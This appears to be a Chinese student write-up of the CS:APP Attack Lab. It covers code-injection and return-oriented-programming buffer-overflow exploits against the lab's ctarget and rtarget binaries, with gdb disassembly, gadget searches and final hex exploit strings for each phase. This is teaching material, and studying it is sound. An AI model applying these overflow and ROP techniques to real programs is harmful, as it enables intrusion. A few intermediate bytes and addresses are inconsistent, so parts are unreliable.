AtackLab
ctarget
1、
用gdb去看getbuf的反汇编文件
(gdb) disass getbuf
Dump of assembler code for function getbuf:
0x0000000000001a3c <+0>: sub $0x28,%rsp
0x0000000000001a40 <+4>: mov %rsp,%rdi
0x0000000000001a43 <+7>: callq 0x1cdc <Gets>
0x0000000000001a48 <+12>: mov $0x1,%eax
0x0000000000001a4d <+17>: add $0x28,%rsp
0x0000000000001a51 <+21>: retq
End of assembler dump.
- getbuf向缓冲区读入了0x28个字符,即40个字符,所以攻击代码前40位用0占位
用gdb去看touch1的反汇编文件
Dump of assembler code for function touch1:
0x0000555555555a52 <+0>: sub $0x8,%rsp
0x0000555555555a56 <+4>: movl $0x1,0x20397c(%rip) # 0x5555557593dc <vlevel>
0x0000555555555a60 <+14>: lea 0x197b(%rip),%rdi # 0x5555555573e2
0x0000555555555a67 <+21>: callq 0x555555554e40 <puts@plt>
0x0000555555555a6c <+26>: mov $0x1,%edi
0x0000555555555a71 <+31>: callq 0x555555555f4c <validate>
0x0000555555555a76 <+36>: mov $0x0,%edi
0x0000555555555a7b <+41>: callq 0x555555554fb0 <exit@plt>
End of assembler dump.
- 在第一行可以发现地址是0x0000555555555a52
- 所以可以构造出攻击代码
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
52 5a 55 55 55 55 00 00
用hex2raw生成字符后运行
2、
看c代码发现,touch2需要把cookie作为val注入到touch2中
用gdb生成touch2反汇编代码
Dump of assembler code for function touch2:
0x0000555555555a80 <+0>: sub $0x8,%rsp
0x0000555555555a84 <+4>: mov %edi,%edx
0x0000555555555a86 <+6>: movl $0x2,0x20394c(%rip) # 0x5555557593dc <vlevel>
0x0000555555555a90 <+16>: cmp %edi,0x20394e(%rip) # 0x5555557593e4 <cookie>
0x0000555555555a96 <+22>: je 0x555555555ac2 <touch2+66>
0x0000555555555a98 <+24>: lea 0x1991(%rip),%rsi # 0x555555557430
0x0000555555555a9f <+31>: mov $0x1,%edi
0x0000555555555aa4 <+36>: mov $0x0,%eax
0x0000555555555aa9 <+41>: callq 0x555555554f60 <__printf_chk@plt>
0x0000555555555aae <+46>: mov $0x2,%edi
0x0000555555555ab3 <+51>: callq 0x55555555601c <fail>
0x0000555555555ab8 <+56>: mov $0x0,%edi
0x0000555555555abd <+61>: callq 0x555555554fb0 <exit@plt>
0x0000555555555ac2 <+66>: lea 0x193f(%rip),%rsi # 0x555555557408
0x0000555555555ac9 <+73>: mov $0x1,%edi
0x0000555555555ace <+78>: mov $0x0,%eax
0x0000555555555ad3 <+83>: callq 0x555555554f60 <__printf_chk@plt>
0x0000555555555ad8 <+88>: mov $0x2,%edi
0x0000555555555add <+93>: callq 0x555555555f4c <validate>
0x0000555555555ae2 <+98>: jmp 0x555555555ab8 <touch2+56>
End of assembler dump.
攻击代码思路
- 看touch2的反汇编代码,发现val的值存在%rdi中
- 将%rdi改成cookie的值(0x2d274378)
- 再调用touch2函数
因此,我们需要注入的代码的汇编代码应该为
mov $0x2d274378,%rdi
movq $0x0000555555555a80,%rax
pushq %rax
ret
汇编,再反汇编得到所需要的机器码
因此,我们需要注入的代码为 bf 78 43 27 2d 68 80 1a 00 00 c3
为了能够调用我们的函数,只需要将代码注入到缓冲区,在getbuf结束的时候,返回到缓冲区的起始地址,便可以开始执行我们想要的程序
通过gdb得到getbuf的缓冲区开始的地址为 0x5567e588
所以需要将getbuf的返回地址改为0x5567e588
故最终的atack代码为
48 c7 c7 78 43 27 2d 48
b8 80 5a 55 55 55 55 00
00 50 c3 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
88 e5 67 55 00 00 00 00
用hex2raw生成最终攻击代码
3、
用gdb查看touch3
Dump of assembler code for function touch3:
0x0000555555555b97 <+0>: push %rbx
0x0000555555555b98 <+1>: mov %rdi,%rbx
0x0000555555555b9b <+4>: movl $0x3,0x203837(%rip) # 0x5555557593dc <vlevel>
0x0000555555555ba5 <+14>: mov %rdi,%rsi
0x0000555555555ba8 <+17>: mov 0x203836(%rip),%edi # 0x5555557593e4 <cookie>
0x0000555555555bae <+23>: callq 0x555555555ae4 <hexmatch>
0x0000555555555bb3 <+28>: test %eax,%eax
0x0000555555555bb5 <+30>: je 0x555555555be4 <touch3+77>
0x0000555555555bb7 <+32>: mov %rbx,%rdx
0x0000555555555bba <+35>: lea 0x1897(%rip),%rsi # 0x555555557458
0x0000555555555bc1 <+42>: mov $0x1,%edi
0x0000555555555bc6 <+47>: mov $0x0,%eax
0x0000555555555bcb <+52>: callq 0x555555554f60 <__printf_chk@plt>
0x0000555555555bd0 <+57>: mov $0x3,%edi
0x0000555555555bd5 <+62>: callq 0x555555555f4c <validate>
0x0000555555555bda <+67>: mov $0x0,%edi
0x0000555555555bdf <+72>: callq 0x555555554fb0 <exit@plt>
0x0000555555555be4 <+77>: mov %rbx,%rdx
0x0000555555555be7 <+80>: lea 0x1892(%rip),%rsi # 0x555555557480-----Typ----------Type <return> to cont---Type <return> to continue, or q <return> to quit---
0x0000555555555bee <+87>: mov $0x1,%edi
0x0000555555555bf3 <+92>: mov $0x0,%eax
0x0000555555555bf8 <+97>: callq 0x555555554f60 <__printf_chk@plt>
0x0000555555555bfd <+102>: mov $0x3,%edi
0x0000555555555c02 <+107>: callq 0x55555555601c <fail>
0x0000555555555c07 <+112>: jmp 0x555555555bda <touch3+67>
End of assembler dump.
攻击代码思路
- getbuf以后,返回地址改成buffer开始的地址
- buffer部分:
- 将一个存储cookie的字符串的地址作为%rdi的值
- 在getbuf的时候输入cookie,并且用gdb看到这个地址
- 考虑到touch3中调用hexmatch和strncmp会占用栈的位置,需要保证输入cookie的位置没有被覆盖
- 运行touch3
- 将一个存储cookie的字符串的地址作为%rdi的值
先确定touch3中调用hexmatch和strncmp以后,那些位置没有被覆盖
刚进入touch3时的缓冲区
运行完hexmatch和strncmp以后的缓冲区
在缓冲区(0x5567e588到0x0x5567e5ae中)没有连续的8位没有被修改的地址
所以将cookie写在0x5567e5b8的位置上
于是,可以写出放在buffer里的汇编代码
movq $0x5567e5b8,%rdi
movq $0x0000555555555b97,%rax
push %rax
ret
反汇编文件为
0000000000000000 <.text>:
0: 48 c7 c7 b8 e5 67 55 mov $0x5567e5b8,%rdi
7: 48 b8 97 5b 55 55 55 movabs $0x555555555b97,%rax
e: 55 00 00
11: 50 push %rax
12: c3 retq
接着,通过查表,将我的cookie(0x2d274378)转换成ascii码32 64 32 37 34 33 37 38
所以攻击代码为
48 c7 c7 b8 e5 67 55 48
b8 97 5b 55 55 55 55 00
00 50 c3 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 #填满缓冲区
88 e5 67 55 00 00 00 00 #返回缓冲区的地址
32 64 32 37 34 33 37 38 #存放cookie
rtarget
4、
用objdump反汇编,将start_farm到end_farm的汇编代码打印出来
0000000000001c34 <start_farm>:
1c34: b8 01 00 00 00 mov $0x1,%eax
1c39: c3 retq
0000000000001c3a <setval_407>:
1c3a: c7 07 58 90 90 c3 movl $0xc3909058,(%rdi)
1c40: c3 retq
0000000000001c41 <addval_453>:
1c41: 8d 87 48 89 c7 90 lea -0x6f3876b8(%rdi),%eax
1c47: c3 retq
0000000000001c48 <getval_397>:
1c48: b8 58 90 90 90 mov $0x90909058,%eax
1c4d: c3 retq
0000000000001c4e <getval_129>:
1c4e: b8 49 89 c7 c3 mov $0xc3c78949,%eax
1c53: c3 retq
0000000000001c54 <addval_398>:
1c54: 8d 87 48 89 c7 c1 lea -0x3e3876b8(%rdi),%eax
1c5a: c3 retq
0000000000001c5b <setval_200>:
1c5b: c7 07 b8 a9 58 92 movl $0x9258a9b8,(%rdi)
1c61: c3 retq
0000000000001c62 <getval_445>:
1c62: b8 60 48 89 c7 mov $0xc7894860,%eax
1c67: c3 retq
0000000000001c68 <addval_113>:
1c68: 8d 87 50 58 94 90 lea -0x6f6ba7b0(%rdi),%eax
1c6e: c3 retq
0000000000001c6f <mid_farm>:
1c6f: b8 01 00 00 00 mov $0x1,%eax
1c74: c3 retq
0000000000001c75 <add_xy>:
1c75: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
1c79: c3 retq
0000000000001c7a <setval_417>:
1c7a: c7 07 68 89 e0 c3 movl $0xc3e08968,(%rdi)
1c80: c3 retq
0000000000001c81 <getval_478>:
1c81: b8 99 ce c3 8f mov $0x8fc3ce99,%eax
1c86: c3 retq
0000000000001c87 <addval_216>:
1c87: 8d 87 48 89 e0 c2 lea -0x3d1f76b8(%rdi),%eax
1c8d: c3 retq
0000000000001c8e <addval_376>:
1c8e: 8d 87 8d ce 84 c0 lea -0x3f7b3173(%rdi),%eax
1c94: c3 retq
0000000000001c95 <getval_111>:
1c95: b8 99 d1 20 c0 mov $0xc020d199,%eax
1c9a: c3 retq
0000000000001c9b <getval_104>:
1c9b: b8 89 ce 90 c3 mov $0xc390ce89,%eax
1ca0: c3 retq
0000000000001ca1 <getval_117>:
1ca1: b8 48 89 e0 c7 mov $0xc7e08948,%eax
1ca6: c3 retq
0000000000001ca7 <getval_315>:
1ca7: b8 88 ce 08 c9 mov $0xc908ce88,%eax
1cac: c3 retq
0000000000001cad <addval_155>:
1cad: 8d 87 89 c2 28 c0 lea -0x3fd73d77(%rdi),%eax
1cb3: c3 retq
0000000000001cb4 <addval_432>:
1cb4: 8d 87 48 89 e0 92 lea -0x6d1f76b8(%rdi),%eax
1cba: c3 retq
0000000000001cbb <getval_330>:
1cbb: b8 48 88 e0 c3 mov $0xc3e08848,%eax
1cc0: c3 retq
0000000000001cc1 <addval_152>:
1cc1: 8d 87 89 c2 38 c0 lea -0x3fc73d77(%rdi),%eax
1cc7: c3 retq
0000000000001cc8 <setval_312>:
1cc8: c7 07 89 c2 a4 c0 movl $0xc0a4c289,(%rdi)
1cce: c3 retq
0000000000001ccf <addval_480>:
1ccf: 8d 87 8d d1 90 c3 lea -0x3c6f2e73(%rdi),%eax
1cd5: c3 retq
0000000000001cd6 <getval_427>:
1cd6: b8 48 89 e0 90 mov $0x90e08948,%eax
1cdb: c3 retq
0000000000001cdc <addval_218>:
1cdc: 8d 87 89 d1 20 db lea -0x24df2e77(%rdi),%eax
1ce2: c3 retq
0000000000001ce3 <setval_295>:
1ce3: c7 07 89 ce 18 c9 movl $0xc918ce89,(%rdi)
1ce9: c3 retq
0000000000001cea <getval_422>:
1cea: b8 48 89 e0 c3 mov $0xc3e08948,%eax
1cef: c3 retq
0000000000001cf0 <setval_347>:
1cf0: c7 07 89 c2 00 db movl $0xdb00c289,(%rdi)
1cf6: c3 retq
0000000000001cf7 <setval_271>:
1cf7: c7 07 89 ce 84 d2 movl $0xd284ce89,(%rdi)
1cfd: c3 retq
0000000000001cfe <getval_321>:
1cfe: b8 89 d1 92 90 mov $0x9092d189,%eax
1d03: c3 retq
0000000000001d04 <getval_291>:
1d04: b8 99 d1 90 90 mov $0x9090d199,%eax
1d09: c3 retq
0000000000001d0a <addval_384>:
1d0a: 8d 87 99 ce 84 c0 lea -0x3f7b3167(%rdi),%eax
1d10: c3 retq
0000000000001d11 <addval_225>:
1d11: 8d 87 89 d1 c3 83 lea -0x7c3c2e77(%rdi),%eax
1d17: c3 retq
0000000000001d18 <addval_272>:
1d18: 8d 87 89 c2 38 c9 lea -0x36c73d77(%rdi),%eax
1d1e: c3 retq
0000000000001d1f <addval_264>:
1d1f: 8d 87 88 d1 38 c9 lea -0x36c72e78(%rdi),%eax
1d25: c3 retq
0000000000001d26 <addval_448>:
1d26: 8d 87 89 c2 30 c9 lea -0x36cf3d77(%rdi),%eax
1d2c: c3 retq
0000000000001d2d <getval_380>:
1d2d: b8 88 d1 38 d2 mov $0xd238d188,%eax
1d32: c3 retq
0000000000001d33 <addval_389>:
1d33: 8d 87 89 c2 78 db lea -0x24873d77(%rdi),%eax
1d39: c3 retq
0000000000001d3a <setval_461>:
1d3a: c7 07 48 89 e0 c2 movl $0xc2e08948,(%rdi)
1d40: c3 retq
0000000000001d41 <setval_177>:
1d41: c7 07 88 c2 08 c9 movl $0xc908c288,(%rdi)
1d47: c3 retq
0000000000001d48 <setval_474>:
1d48: c7 07 89 ce 18 db movl $0xdb18ce89,(%rdi)
1d4e: c3 retq
0000000000001d4f <end_farm>:
1d4f: b8 01 00 00 00 mov $0x1,%eax
1d54: c3 retq
设计代码思路
考虑到题目要求只能使用movq popq ret nop
- 输入cookie的值
- 将cookie的值popq到寄存器%rax中
- 用movq将%rax复制到%rdi中
- 调用touch2函数
#所需gadget有
popq %rax
moveq %rax,%rdi
在start_farm和end_farm中搜寻所得
0000000000001c48 <getval_397>:
1c48: b8 58 90 90 90 mov $0x90909058,%eax
1c4d: c3 retq
#58 90 90 90 C3 是popq %rax和ret的机器码
(gdb) disass getval_397
Dump of assembler code for function getval_397:
0x0000555555555c48 <+0>: mov $0x90909058,%eax
0x0000555555555c4d <+5>: retq
End of assembler dump.
#因此popq %rax的地址为0x0x0000555555555c49
0000000000001c62 <getval_445>:
1c62: b8 60 48 89 c7 mov $0xc7894860,%eax
1c67: c3 retq
# 48 89 c7 c3是movq %rax,%rdi和ret的机器码
(gdb) disass getval_445
Dump of assembler code for function getval_445:
0x0000555555555c62 <+0>: mov $0xc7894860,%eax
0x0000555555555c67 <+5>: retq
End of assembler dump.
#因此movq %rax,%rdi的地址为0x0000555555555c64
最终攻击代码
- 先将缓冲区填满
- popq %rax
- 填入cookie
- movq %rax,%edi
- 填入touch2的地址
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 #缓冲区填满
49 5c 55 55 55 55 00 00 #popq %rax
78 43 27 2d 00 00 00 00 #填入cookie
64 5c 55 55 55 55 00 00 #movq %rax,%edi
80 5a 55 55 55 55 00 00 #填入touch2的地址
5、
设计代码思路
从第三题受到启发,我们可以在最后输入cookie的值,只需要将cookie所在的地址存到%rdi即可
最艰难的部分是通过不断地寻找在farm中找到可以利用的部分拼凑起来(没有技术上的难度,纯粹浪费时间,找了好几天呢qwq)
我找到的指令汇总如下
0x0000555555555c3c 58 90 90 c3 #popq %rax
0x0000555555555c43 48 89 c7 90 c3 #mov %rax,%rdi
0x0000555555555c75 48 8d 04 37 c3 #lea (%rdi,%rsi,1),%rax
0x0000555555555cc3 89 c2 38 c0 c3 #movl %eax,%edx
0x0000555555555cde 89 d1 20 db c3 #movl %edx,%ecx
0x0000555555555d1a 89 c2 38 c9 c3 #movl %eax,%edx
0x0000555555555ceb 48 89 e0 c3 #mov %rsp,%rax
0x0000555555555cf9 89 ce 84 d2 c3 #movl %ecx,%esi
0x0000555555555cde 89 d1 20 db c3 #movl %edx,%ecx
通过观察,按照如下顺序可以实现将cookie的地址放在%rdi中的目的
mov %rsp,%rax
mov %rax,%rdi
popq %rax
movl %eax,%edx
movl %edx,%ecx
movl %ecx,%esi
lea (%rdi,%rsi,1),%rax
mov %rax,%rdi
popq %rax 目的是将cookie字符串地址的偏移量存在%rax中
而在gadget 1 以后从gadget2 到 cookie有9个指令,因此会有72个字节的偏移量,即0x48
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 #占满缓冲区
eb 5c 55 55 55 55 00 00 #gadget1
43 5c 55 55 55 55 00 00 #gadget2
3c 5c 55 55 55 55 00 00 #gadget3
48 00 00 00 00 00 00 00 #偏移量
c3 5c 55 55 55 55 00 00 #gadget4
de 5c 55 55 55 55 00 00 #gadget5
f9 5c 55 55 55 55 00 00 #gadget6
75 5c 55 55 55 55 00 00 #gadget7
43 5c 55 55 55 55 00 00 #gadget8
97 5b 55 55 55 55 00 00 #touch3
32 64 32 37 34 33 37 38 #cookie